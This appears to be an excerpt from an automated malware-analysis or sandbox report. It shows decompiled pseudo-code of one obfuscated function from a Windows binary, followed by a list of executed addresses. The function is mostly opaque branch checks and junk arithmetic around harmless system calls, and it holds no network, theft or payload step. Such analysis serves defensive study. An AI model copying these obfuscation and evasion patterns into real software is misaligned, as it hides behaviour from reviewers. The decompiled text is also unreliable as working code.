				goto 0xb1ca7d58;
				__eax = E00007FF67FF6B1D3ACF4(0xe93332e300000044);
				r14d = __esi;
				__rax = 0xe90312e300000044;
				__eflags = 0x14;
				if (0x14 >= 0) goto 0xb1ca7d1f;
				0xdfcfd8fb00000017 = 0xdffff8fb00000017;
				__rax = 0xe93332e300000044;
				__eflags = 0x14 - 0x1d;
				if (0x14 - 0x1d <= 0) goto 0xb1ca7d58;
				__eax = E00007FF67FF6B1D3ACF4(0xe93332e300000044);
				__eax = __eax & r14d;
				__eflags = __eax;
				if (__eax >= 0) goto 0xb1ca7d34;
				__rax = 0xe93332e300000044;
				__eflags = 0x14 - 0x67;
				if (0x14 != 0x67) goto 0xb1ca7d58;
				__eax = E00007FF67FF6B1D3ACF4(0xe93332e300000044);
				__eax = __eax & r14d;
				__eflags = __eax;
				if (__eax >= 0) goto 0xb1ca7d49;
				__rax = 0xe93332e300000044;
				__ecx = r15d;
				__eflags = 0xe93332e300000044 - 0x67;
				__ecx = r15d & 0xffffff00 | 0xe93332e300000044 == 0x00000067;
				 *0xb1decf60 = 0;
				__rax = 0x4d;
				if (0xe93332e300000044 - 0x67 < 0) goto 0xb1ca7d5d;
				 *0xb1decf60 = 0x4d;
				E00007FF67FF6B1D3ACF4(0x4d) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca7d7a;
				0xef508b1b00000020 = 0xff7babfb00000023;
				__rax = 0x8aee5e300000050;
				asm("movsd xmm6, [0x1169ae]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (__eflags > 0) goto 0xb1ca7dda;
				E00007FF67FF6B1D3ACF4(0x8aee5e300000050) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca7da0;
				__rax = 0x8aee5e300000050;
				__eflags = 0x4d - 0xb;
				if (0x4d - 0xb <= 0) goto 0xb1ca7dda;
				__rcx = 0;
				__eax = IsIconic(0xb1ca8590);
				E00007FF67FF6B1D3ACF4(0x8aee5e300000050) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca7dbd;
				__rax = 0x8aee5e300000050;
				asm("movd xmm0, eax");
				__eax = r15d;
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				__eax = r15d & 0xffffff00 | __eflags > 0x00000000;
				 *0xb1decf60 = 0x4d;
				goto 0xb1ca7ea9;
				E00007FF67FF6B1D3ACF4(0x8aee5e300000050) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca7dea;
				__rax = 0x8aee5e300000050;
				asm("movsd xmm6, [0x116af6]");
				__eflags = 0x4d - 0x76;
				if (0x4d != 0x76) goto 0xb1ca7e39;
				__eax = E00007FF67FF6B1D3ACF4(0x8aee5e300000050);
				__eflags = __eax;
				if (__eflags >= 0) goto 0xb1ca7e07;
				__rax = 0x8aee5e300000050;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (__eflags >= 0) goto 0xb1ca7e39;
				__eax = E00007FF67FF6B1D3ACF4(0x8aee5e300000050);
				__eax = __eax & r14d;
				__eflags = __eax;
				if (__eax >= 0) goto 0xb1ca7e25;
				__rax = 0x8aee5e300000050;
				__eflags = 0x4d - 0x30;
				if (0x4d != 0x30) goto 0xb1ca7e30;
				__eax = GetTickCount();
				 *0xb1decf60 = r15d;
				goto 0xb1ca7e8a;
				 *0xb1decf60 = 0x53;
				E00007FF67FF6B1D3ACF4(0x8aee5e300000050) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca7e53;
				__rax = 0x8aee5e300000050;
				__ecx = r15d;
				__eflags = 0x4d - 0x79;
				__ecx = r15d & 0xffffff00 | 0x0000004d != 0x00000079;
				 *0xb1decf60 = 0;
				E00007FF67FF6B1D3ACF4(0x8aee5e300000050) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca7e72;
				__rax = 0x8aee5e300000050;
				asm("movd xmm0, eax");
				__eax = r15d;
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				__eax = r15d & 0xffffff00 | __eflags >= 0x00000000;
				 *0xb1decf60 = 0x4d;
				E00007FF67FF6B1D3ACF4(0x8aee5e300000050) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca7e9a;
				__rax = 0x8aee5e300000050;
				__ecx = r15d;
				__eflags = 0x8aee5e300000050 - 0xb;
				__ecx = r15d & 0xffffff00 | 0x8aee5e300000050 - 0x0000000b <= 0x00000000;
				 *0xb1decf60 = 0;
				__rax = 0x15;
				asm("adc al, 0x0");
				__rax = 0x59df3f7100000042;
				__eflags = 0x15 - 0x18;
				if (0x15 - 0x18 < 0) goto 0xb1ca7eae;
				E00007FF67FF6B1D3ACF4(0x59df3f7100000042) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca7ecb;
				0x50ac058900000015 = 0xdebf25eb00000017;
				__rax = 0xe7f25fd300000044;
				__eflags = 0x15 - 0x4e;
				if (0x15 - 0x4e < 0) goto 0xb1ca7f1b;
				E00007FF67FF6B1D3ACF4(0xe7f25fd300000044) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca7ee0;
				__rax = 0xe7f25fd300000044;
				__eflags = 0xe7f25fd300000044 - 0x65;
				if (0xe7f25fd300000044 - 0x65 > 0) goto 0xb1ca7f1b;
				__rax = 0x68;
				if (0xe7f25fd300000044 == 0x65) goto 0xb1ca7f62;
				asm("stc");
				 *0xb1decf60 = 0x68;
				E00007FF67FF6B1D3ACF4(0x68) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca7f07;
				0xef508b1b0000003b = 0xff7babfb0000003b;
				__rax = 0x8aee5e300000068;
				__ecx = r15d;
				__eflags = 0x68 - 0x65;
				__ecx = r15d & 0xffffff00 | 0x00000068 - 0x00000065 <= 0x00000000;
				 *0xb1decf60 = 0;
				goto 0xb1ca80e7;
				E00007FF67FF6B1D3ACF4(0x8aee5e300000068) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca7f2b;
				__rax = 0x8aee5e300000068;
				__eflags = 0x68 - 0x24;
				if (0x68 - 0x24 < 0) goto 0xb1ca80e7;
				__eax = E00007FF67FF6B1D3ACF4(0x8aee5e300000068);
				__eax = __eax & r14d;
				__eflags = __eax;
				if (__eax >= 0) goto 0xb1ca7f44;
				__rax = 0x8aee5e300000068;
				__eflags = 0x68 - 0x15;
				if (0x68 - 0x15 < 0) goto 0xb1ca7f84;
				__eax = E00007FF67FF6B1D3ACF4(0x8aee5e300000068);
				__eax = __eax & r14d;
				__eflags = __eax;
				if (__eax >= 0) goto 0xb1ca7f59;
				__rax = 0x8aee5e300000068;
				__eflags = 0x68 - 0x5e;
				if (0x68 == 0x5e) goto 0xb1ca7f84;
				__rcx = 0;
				__eax = GetWindowTextLengthW(??);
				__eax = E00007FF67FF6B1D3ACF4(0x8aee5e300000068);
				__eax = __eax & r14d;
				__eflags = __eax;
				if (__eax >= 0) goto 0xb1ca7f76;
				__rax = 0x8aee5e300000068;
				__eflags = 0x68 - 0x15;
				r15d = r15d & 0xffffff00 | 0x00000068 - 0x00000015 >= 0x00000000;
				goto 0xb1ca80da;
				E00007FF67FF6B1D3ACF4(0x8aee5e300000068) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca7f94;
				__rax = 0x8aee5e300000068;
				__eflags = 0x68 - 0x63;
				if (0x68 - 0x63 < 0) goto 0xb1ca7fb2;
				__eax = E00007FF67FF6B1D3ACF4(0x8aee5e300000068);
				__eax = __eax & r14d;
				__eflags = __eax;
				if (__eax >= 0) goto 0xb1ca7fa9;
				__rax = 0x8aee5e300000068;
				__eflags = 0x68 - 0x13;
				if (0x68 - 0x13 <= 0) goto 0xb1ca80c1;
				E00007FF67FF6B1D3ACF4(0x8aee5e300000068) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca7fc2;
				__rax = 0x8aee5e300000068;
				asm("movsd xmm6, [0x1169fe]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (__eflags < 0) goto 0xb1ca80ba;
				__eax = E00007FF67FF6B1D3ACF4(0x8aee5e300000068);
				__eax = __eax & r14d;
				__eflags = __eax;
				if (__eax >= 0) goto 0xb1ca7fec;
				__rax = 0x8aee5e300000068;
				__eflags = 0x68 - 0x1e;
				if (0x68 - 0x1e < 0) goto 0xb1ca80ba;
				__eax = E00007FF67FF6B1D3ACF4(0x8aee5e300000068);
				__eax = __eax & r14d;
				__eflags = __eax;
				if (__eax >= 0) goto 0xb1ca8005;
				__rax = 0x8aee5e300000068;
				__eflags = 0x68 - 0x78;
				if (0x68 - 0x78 <= 0) goto 0xb1ca8031;
				__eax = GetCurrentProcess();
				__eax = E00007FF67FF6B1D3ACF4(0x8aee5e300000068);
				__eax = __eax & r14d;
				__eflags = __eax;
				if (__eax >= 0) goto 0xb1ca8020;
				__rax = 0x8aee5e300000068;
				__ecx = r15d;
				__eflags = 0x68 - 0x78;
				__ecx = r15d & 0xffffff00 | 0x00000068 - 0x00000078 <= 0x00000000;
				 *0xb1decf60 = 0;
				goto 0xb1ca8090;
				__eax = E00007FF67FF6B1D3ACF4(0x8aee5e300000068);
				__eax = E00007FF67FF6B1D3ACF4(0x8aee5e300000068);
				__eflags = __eax;
				if (__eflags >= 0) goto 0xb1ca8046;
				__rax = 0x8aee5e300000068;
				asm("movsd xmm0, [0x116742]");
				asm("movd xmm1, eax");
				asm("cvtdq2pd xmm1, xmm1");
				asm("ucomisd xmm0, xmm1");
				if (__eflags != 0) goto 0xb1ca805e;
				if (__eflags == 0) goto 0xb1ca8064;
				__eax = GetDoubleClickTime();
				 *0xb1decf60 = 0x2d;
				E00007FF67FF6B1D3ACF4(0x8aee5e300000068) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca807a;
				__rax = 0x8aee5e300000068;
				__ecx = r15d;
				__eflags = 0x68 - 0x3f;
				__ecx = r15d & 0xffffff00 | 0x00000068 - 0x0000003f > 0x00000000;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(0x8aee5e300000068) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca80a0;
				__rax = 0x8aee5e300000068;
				asm("movd xmm0, eax");
				__eax = r15d;
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				__eax = r15d & 0xffffff00 | __eflags >= 0x00000000;
				 *0xb1decf60 = 0x68;
				goto 0xb1ca80c1;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(0x8aee5e300000068) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca80d1;
				__rax = 0x8aee5e300000068;
				__eflags = 0x68 - 0x13;
				r15d = r15d & 0xffffff00 | 0x00000068 - 0x00000013 <= 0x00000000;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(0x8aee5e300000068) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca80f7;
				__rax = 0x8aee5e300000068;
				__eflags = 0x68 - 0x3f;
				if (0x68 - 0x3f >= 0) goto 0xb1ca811d;
				E00007FF67FF6B1D3ACF4(0x8aee5e300000068) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca810c;
				__rax = 0x8aee5e300000068;
				__ecx = r15d;
				__eflags = 0x68 - 0x3f;
				__ecx = r15d & 0xffffff00 | 0x00000068 - 0x0000003f < 0x00000000;
				 *0xb1decf60 = 0;
				goto 0xb1ca8168;
				__eax = E00007FF67FF6B1D3ACF4(0x8aee5e300000068);
				__eax = __eax & r14d;
				__eflags = __eax;
				if (__eax >= 0) goto 0xb1ca812d;
				__rax = 0x8aee5e300000068;
				__eflags = 0x68 - 0x18;
				if (0x68 - 0x18 >= 0) goto 0xb1ca8168;
				__eax = E00007FF67FF6B1D3ACF4(0x8aee5e300000068);
				__eax = __eax & r14d;
				__eflags = __eax;
				if (__eax >= 0) goto 0xb1ca8142;
				__rax = 0x8aee5e300000068;
				__eflags = 0x68 - 0x7e;
				if (0x68 != 0x7e) goto 0xb1ca8168;
				__eax = E00007FF67FF6B1D3ACF4(0x8aee5e300000068);
				__eax = __eax & r14d;
				__eflags = __eax;
				if (__eax >= 0) goto 0xb1ca8157;
				__rax = 0x8aee5e300000068;
				r8d = r15d;
				__eflags = 0x8aee5e300000068 - 0x18;
				r8b = 0x8aee5e300000068 - 0x18 < 0;
				 *0xb1decf60 = r8d;
				r9d =  *0x93339E80000004D;
				r8d = _a144;
				__rdx =  *0x93339E8000000C5;
				__rcx =  *0x93339E8000000BD;
				__eax = E00007FF67FF6B1CB41F0(__eax, __edx, 0x126552d000000039,  *0x93339E8000000BD, 0x8000007f); // executed
				__rdx = 0;
				__rdi = __rax;
				_t65 = __rdx + 2; // 0x2
				__rcx = _t65;
				__eax = E00007FF67FF6B1D3B360(__ecx, __rbx, 0, __rdi, __r14);
				__rdx =  *((intOrPtr*)(0x93339e80000004d));
				__rcx =  *((intOrPtr*)(0x93339e8000000bd));
				__eax = E00007FF67FF6B1CB4910(__eax, __edx,  *((intOrPtr*)(0x93339e8000000bd)));
				 *0xb1decf60 = 0x2d;
				__rsi = 0xffffff80;
				asm("push es");
				__rax = __rax - 0x2d;
				__rax = __rax | 0xffffff80;
				__rax = __rax + 0x2d;
				asm("movsd xmm6, [0x11694a]");
				__eflags = __rax - 5;
				if (__rax != 5) goto 0xb1ca81f1;
				E00007FF67FF6B1D3ACF4(__rax) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca81e3;
				__rax = __rax - 0x2d;
				__rax = __rax | 0xffffff80;
				__rax = __rax + 0x2d;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (__eflags < 0) goto 0xb1ca8240;
				__rbx = 0x60;
				asm("bound ecx, [ebp+0x14]");
				asm("dec ebp");
				E00007FF67FF6B1D3ACF4(__rax) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca820e;
				__rax = __rax - 0x2d;
				__rax = __rax | 0xffffff80;
				__rax = __rax + 0x2d;
				__eflags = __rax - 0x79;
				if (__rax - 0x79 >= 0) goto 0xb1ca8218;
				__eflags = 0x60 - 0x67;
				if (0x60 - 0x67 < 0) goto 0xb1ca81f6;
				E00007FF67FF6B1D3ACF4(__rax) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca8228;
				__rax = __rax - 0x2d;
				__rax = __rax | 0xffffff80;
				__rax = __rax + 0x2d;
				asm("movd xmm0, eax");
				__eax = r15d;
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				__eax = r15d & 0xffffff00 | __eflags >= 0x00000000;
				 *0xb1decf60 = __rax;
				__rcx = 0;
				 *0xb1decf60 = 0x2d;
				__eax = GetWindowTextLengthW(??);
				 *0xb1decf60 = r12d;
				r12d = r12d + __ebp;
				__eflags = r12d - 0x42;
				if (r12d - 0x42 < 0) goto 0xb1ca824e;
				__eax = GetMessageTime();
				E00007FF67FF6B1D3ACF4(__rax) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca8274;
				__rax = __rax - 0x2d;
				__rax = __rax | 0xffffff80;
				__rax = __rax + 0x2d;
				__eflags = __rax - 0x2e;
				if (__rax - 0x2e > 0) goto 0xb1ca82a0;
				__eax = GetUserDefaultLangID();
				E00007FF67FF6B1D3ACF4(__rax) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca828f;
				__rax = __rax - 0x2d;
				__rax = __rax | 0xffffff80;
				__rax = __rax + 0x2d;
				__ecx = r15d;
				__eflags = __rax - 0x2e;
				__ecx = r15d & 0xffffff00 | __rax - 0x0000002e <= 0x00000000;
				 *0xb1decf60 = 0;
				goto 0xb1ca82e3;
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				__rbx = 0x6b;
				 *0x144CAB2D =  *((intOrPtr*)(0x144cab2d)) + __cl;
				 *0x144CA51D =  *((intOrPtr*)(0x144ca51d)) + __cl;
				 *0x6b =  *0x6b + __al;
				__rax = _a152;
				__rax = _a152 + 0x2d;
				_a152 = __rax;
				 *0xb1decf60 = __rax;
				__eflags = __rax - 0x1f;
				if (__eflags < 0) goto 0xb1ca82a5;
				 *0xb1decf60 = 0x2d;
				asm("movsd xmm6, [0x116455]");
				__rbx = 0x3;
				_push(0xe800144c);
				__edx = __eax *  *0x00000000 >> 0x20;
				__eax = __eax *  *0x00000000;
				 *__rax =  *__rax | __rax;
				__eax = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca8308;
				__rax = __rax - 0x2d;
				__rax = __rax | 0xffffff80;
				__rax = __rax + 0x2d;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (__eflags != 0) goto 0xb1ca8318;
				if (__eflags == 0) goto 0xb1ca831d;
				__eflags = 0x3 - 0x13;
				if (0x3 - 0x13 < 0) goto 0xb1ca82f0; // executed
				__eax = GetForegroundWindow();
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				__eax = __eax & r14d;
				__eflags = __eax;
				if (__eax >= 0) goto 0xb1ca8333;
				__rax = __rax - 0x2d;
				__rax = __rax | 0xffffff80;
				__rax = __rax + 0x2d;
				__eflags = __rax - 0x34;
				if (__rax - 0x34 >= 0) goto 0xb1ca8341;
				 *0xb1decf60 = r15d;
				goto 0xb1ca8387;
				__rbx = 0x45;
				asm("adc cl, [esp+edx]");
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				__eax = __eax & r14d;
				__eflags = __eax;
				if (__eax >= 0) goto 0xb1ca835e;
				__rax = __rax - 0x2d;
				__rax = __rax | 0xffffff80;
				__rax = __rax + 0x2d;
				__eflags = __rax - 0x1a;
				if (__rax - 0x1a >= 0) goto 0xb1ca8368;
				__eflags = 0x45 - 0x52;
				if (0x45 - 0x52 < 0) goto 0xb1ca8346;
				E00007FF67FF6B1D3ACF4(__rax) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca8378;
				__rax = __rax - 0x2d;
				__rax = __rax | 0xffffff80;
				__rax = __rax + 0x2d;
				__ecx = r15d;
				__eflags = __rax - 0x34;
				__ecx = r15d & 0xffffff00 | __rax - 0x00000034 < 0x00000000;
				 *0xb1decf60 = 0;
				E00007FF67FF6B1D3ACF4(__rax) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca8397;
				__rax = __rax - 0x2d;
				__rax = __rax | 0xffffff80;
				__rax = __rax + 0x2d;
				__eflags = __rax - 0x1f;
				if (__rax != 0x1f) goto 0xb1ca83d6;
				E00007FF67FF6B1D3ACF4(__rax) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca83ac;
				__rax = __rax - 0x2d;
				__rax = __rax | 0xffffff80;
				__rax = __rax + 0x2d;
				__eflags = __rax - 4;
				if (__rax == 4) goto 0xb1ca83d6;
				__eax = GetForegroundWindow();
				E00007FF67FF6B1D3ACF4(__rax) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca83c7;
				__rax = __rax - 0x2d;
				__rax = __rax | 0xffffff80;
				__rax = __rax + 0x2d;
				__ecx = r15d;
				__eflags = __rax - 4;
				__ecx = r15d & 0xffffff00 | __rax != 0x00000004;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r13d;
				r13d = r13d + __ebp;
				__eflags = r13d - 0x54;
				if (__eflags < 0) goto 0xb1ca83d6;
				__rax = 0x10;
				asm("push ss");
				if (__eflags < 0) goto 0xb1ca83eb;
				 *0xb1decf60 = 0x10;
				 *0xb1decf60 = 0x2d;
				GetUserDefaultLangID() = GetCurrentProcessId();
				__eax = GetTickCount();
				__rcx = 0;
				 *0xb1decf60 = 0x2d;
				__eax = IsIconic(??);
				__rax = 0x50;
				asm("adc al, 0x0");
				__rax = 0x546a3f710000007d;
				__eflags = 0x50 - 0x56;
				if (0x50 - 0x56 < 0) goto 0xb1ca8423;
				E00007FF67FF6B1D3ACF4(0x546a3f710000007d) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca8440;
				0x4b37058900000050 = 0x7ff727c9ffffffd0;
				__rax = 0x892a61b1fffffffd;
				asm("movsd xmm6, [0x1163f8]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (__eflags >= 0) goto 0xb1ca849d;
				E00007FF67FF6B1D3ACF4(0x892a61b1fffffffd) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca8466;
				__rax = 0x892a61b1fffffffd;
				__eflags = 0x50 - 0x63;
				if (0x50 - 0x63 < 0) goto 0xb1ca849d;
				E00007FF67FF6B1D3ACF4(0x7ff727c9ffffffd0 + 0x2d) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca8485;
				__rax = 0x892a61b1fffffffd;
				__ecx = r15d;
				__eflags = 0x50 - 0x2c;
				__ecx = r15d & 0xffffff00 | 0x00000050 - 0x0000002c < 0x00000000;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r15d;
				goto 0xb1ca84d3;
				__rcx = 0;
				E00007FF67FF6B1DA4028();
				 *0xb1decf60 = 0x2d;
				E00007FF67FF6B1D3ACF4(0x892a61b1fffffffd) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca84bb;
				__rax = 0x892a61b1fffffffd;
				asm("movd xmm0, eax");
				__eax = r15d;
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				__eax = r15d & 0xffffff00 | __eflags >= 0x00000000;
				 *0xb1decf60 = 0x50;
				__eax = E00007FF67FF6B1D3ACF4(0x892a61b1fffffffd);
				E00007FF67FF6B1D3ACF4(0x892a61b1fffffffd) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca84e8;
				__rax = 0x892a61b1fffffffd;
				__ecx = r15d;
				__eflags = 0x50 - 0x6c;
				__ecx = r15d & 0xffffff00 | 0x00000050 != 0x0000006c;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r15d;
				__eax = E00007FF67FF6B1D3ACF4(0x892a61b1fffffffd);
				E00007FF67FF6B1D3ACF4(0x892a61b1fffffffd) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca8513;
				__rax = 0x892a61b1fffffffd;
				__eflags = 0x50 - 0x18;
				if (0x50 - 0x18 >= 0) goto 0xb1ca855a;
				__eax = E00007FF67FF6B1D3ACF4(0x892a61b1fffffffd);
				__eax = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca8528;
				__rax = 0x892a61b1fffffffd;
				__eflags = 0x50 - 0x19;
				if (0x50 - 0x19 > 0) goto 0xb1ca855a;
				__rbx = 0x3e;
				asm("sldt word [ebx]");
				asm("fisttp qword [ecx+0x144a201d]");
				__al = __al + bpl;
				asm("scasd");
				asm("daa");
				 *0x50 =  *0x50 | 0x00000050;
				__eax = __eax & r14d;
				if (0x50 - 0x19 >= 0) goto 0xb1ca8550;
				__rax = 0x892a61b1fffffffd;
				__eflags = 0x50 - 0x3b;
				if (0x50 != 0x3b) goto 0xb1ca855a;
				__eflags = 0x3e - 0x49;
				if (0x3e - 0x49 < 0) goto 0xb1ca8532;
				__eax = E00007FF67FF6B1D3ACF4(0x892a61b1fffffffd);
				__eax = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca856a;
				__rax = 0x892a61b1fffffffd;
				asm("movaps xmm6, [esp+0x30]");
				__eflags = 0x892a61b1fffffffd - 0x19;
				__rax = __rdi;
				r15b = 0x892a61b1fffffffd - 0x19 > 0;
				__eflags = r15b;
				 *0xb1decf60 = r15d;
				__rsp = 0x93339e800000075;
				_pop(__r14);
				_pop(__r12);
				_pop(__rdi);
				_pop(__rsi);
				_pop(__rbp);
				_pop(__rbx);
				return __eax;
			}

0x7ff6b1ca770d
0x7ff6b1ca770f
0x7ff6b1ca7711
0x7ff6b1ca7716
0x7ff6b1ca771b
0x7ff6b1ca7729
0x7ff6b1ca772b
0x7ff6b1ca7730
0x7ff6b1ca7732
0x7ff6b1ca773d
0x7ff6b1ca7740
0x7ff6b1ca7746
0x7ff6b1ca774b
0x7ff6b1ca774d
0x7ff6b1ca7758
0x7ff6b1ca775a
0x7ff6b1ca775c
0x7ff6b1ca7761
0x7ff6b1ca7763
0x7ff6b1ca776e
0x7ff6b1ca7777
0x7ff6b1ca7779
0x7ff6b1ca777e
0x7ff6b1ca7780
0x7ff6b1ca778b
0x7ff6b1ca7790
0x7ff6b1ca7792
0x7ff6b1ca77a6
0x7ff6b1ca77ac
0x7ff6b1ca77b3
0x7ff6b1ca77c7
0x7ff6b1ca77d6
0x7ff6b1ca77de
0x7ff6b1ca77e9
0x7ff6b1ca77f0
0x7ff6b1ca77fb
0x7ff6b1ca7801
0x7ff6b1ca7807
0x7ff6b1ca780f
0x7ff6b1ca7815
0x7ff6b1ca782f
0x7ff6b1ca7831
0x7ff6b1ca7838
0x7ff6b1ca7846
0x7ff6b1ca7848
0x7ff6b1ca784f
0x7ff6b1ca7863
0x7ff6b1ca7872
0x7ff6b1ca7874
0x7ff6b1ca7875
0x7ff6b1ca7877
0x7ff6b1ca787d
0x7ff6b1ca7880
0x7ff6b1ca7886
0x7ff6b1ca7888
0x7ff6b1ca788b
0x7ff6b1ca788d
0x7ff6b1ca7896
0x7ff6b1ca7899
0x7ff6b1ca789f
0x7ff6b1ca78a2
0x7ff6b1ca78a8
0x7ff6b1ca78ad
0x7ff6b1ca78b2
0x7ff6b1ca78b4
0x7ff6b1ca78b7
0x7ff6b1ca78ba
0x7ff6b1ca78bd
0x7ff6b1ca78c0
0x7ff6b1ca78c2
0x7ff6b1ca78c5
0x7ff6b1ca78cb
0x7ff6b1ca78d0
0x7ff6b1ca78d5
0x7ff6b1ca78d7
0x7ff6b1ca78da
0x7ff6b1ca78dd
0x7ff6b1ca78e0
0x7ff6b1ca78e3
0x7ff6b1ca78e5
0x7ff6b1ca78ec
0x7ff6b1ca78f3
0x7ff6b1ca78fc
0x7ff6b1ca7902
0x7ff6b1ca7907
0x7ff6b1ca790d
0x7ff6b1ca790f
0x7ff6b1ca7912
0x7ff6b1ca7914
0x7ff6b1ca7917
0x7ff6b1ca791d
0x7ff6b1ca7922
0x7ff6b1ca7925
0x7ff6b1ca7927
0x7ff6b1ca792a
0x7ff6b1ca792d
0x7ff6b1ca7930
0x7ff6b1ca7933
0x7ff6b1ca7935
0x7ff6b1ca793e
0x7ff6b1ca7941
0x7ff6b1ca7942
0x7ff6b1ca7944
0x7ff6b1ca7947
0x7ff6b1ca794a
0x7ff6b1ca794a
0x7ff6b1ca794d
0x7ff6b1ca7956
0x7ff6b1ca7958
0x7ff6b1ca795b
0x7ff6b1ca7961
0x7ff6b1ca7966
0x7ff6b1ca7966
0x7ff6b1ca7969
0x7ff6b1ca796b
0x7ff6b1ca796e
0x7ff6b1ca7971
0x7ff6b1ca7974
0x7ff6b1ca7976
0x7ff6b1ca7978
0x7ff6b1ca7981
0x7ff6b1ca7987
0x7ff6b1ca798a
0x7ff6b1ca798c
0x7ff6b1ca798f
0x7ff6b1ca7991
0x7ff6b1ca7994
0x7ff6b1ca799a
0x7ff6b1ca799d
0x7ff6b1ca79a3
0x7ff6b1ca79a9
0x7ff6b1ca79ac
0x7ff6b1ca79af
0x7ff6b1ca79b1
0x7ff6b1ca79ba
0x7ff6b1ca79bd
0x7ff6b1ca79be
0x7ff6b1ca79c0
0x7ff6b1ca79c3
0x7ff6b1ca79c5
0x7ff6b1ca79c8
0x7ff6b1ca79ce
0x7ff6b1ca79d0
0x7ff6b1ca79d3
0x7ff6b1ca79d5
0x7ff6b1ca79d8
0x7ff6b1ca79de
0x7ff6b1ca79e3
0x7ff6b1ca79e3
0x7ff6b1ca79e8
0x7ff6b1ca79ea
0x7ff6b1ca79ed
0x7ff6b1ca79ef
0x7ff6b1ca79f2
0x7ff6b1ca79f5
0x7ff6b1ca79f7
0x7ff6b1ca79fc
0x7ff6b1ca7a03
0x7ff6b1ca7a06
0x7ff6b1ca7a0c
0x7ff6b1ca7a0e
0x7ff6b1ca7a11
0x7ff6b1ca7a13
0x7ff6b1ca7a19
0x7ff6b1ca7a1e
0x7ff6b1ca7a27
0x7ff6b1ca7a28
0x7ff6b1ca7a2c
0x7ff6b1ca7a32
0x7ff6b1ca7a37
0x7ff6b1ca7a39
0x7ff6b1ca7a3b
0x7ff6b1ca7a3d
0x7ff6b1ca7a3f
0x7ff6b1ca7a41
0x7ff6b1ca7a44
0x7ff6b1ca7a46
0x7ff6b1ca7a4b
0x7ff6b1ca7a4d
0x7ff6b1ca7a4f
0x7ff6b1ca7a51
0x7ff6b1ca7a53
0x7ff6b1ca7a55
0x7ff6b1ca7a57
0x7ff6b1ca7a5a
0x7ff6b1ca7a5c
0x7ff6b1ca7a65
0x7ff6b1ca7a65
0x7ff6b1ca7a67
0x7ff6b1ca7a6e
0x7ff6b1ca7a76
0x7ff6b1ca7a7c
0x7ff6b1ca7a82
0x7ff6b1ca7a84
0x7ff6b1ca7a8a
0x7ff6b1ca7a8c
0x7ff6b1ca7a92
0x7ff6b1ca7a94
0x7ff6b1ca7a9a
0x7ff6b1ca7a9c
0x7ff6b1ca7aa6
0x7ff6b1ca7aac
0x7ff6b1ca7ab5
0x7ff6b1ca7ab6
0x7ff6b1ca7ab7
0x7ff6b1ca7ab9
0x7ff6b1ca7abe
0x7ff6b1ca7ac0
0x7ff6b1ca7ac2
0x7ff6b1ca7ac4
0x7ff6b1ca7ac6
0x7ff6b1ca7ac8
0x7ff6b1ca7acb
0x7ff6b1ca7acd
0x7ff6b1ca7ad0
0x7ff6b1ca7ad2
0x7ff6b1ca7adb
0x7ff6b1ca7add
0x7ff6b1ca7adf
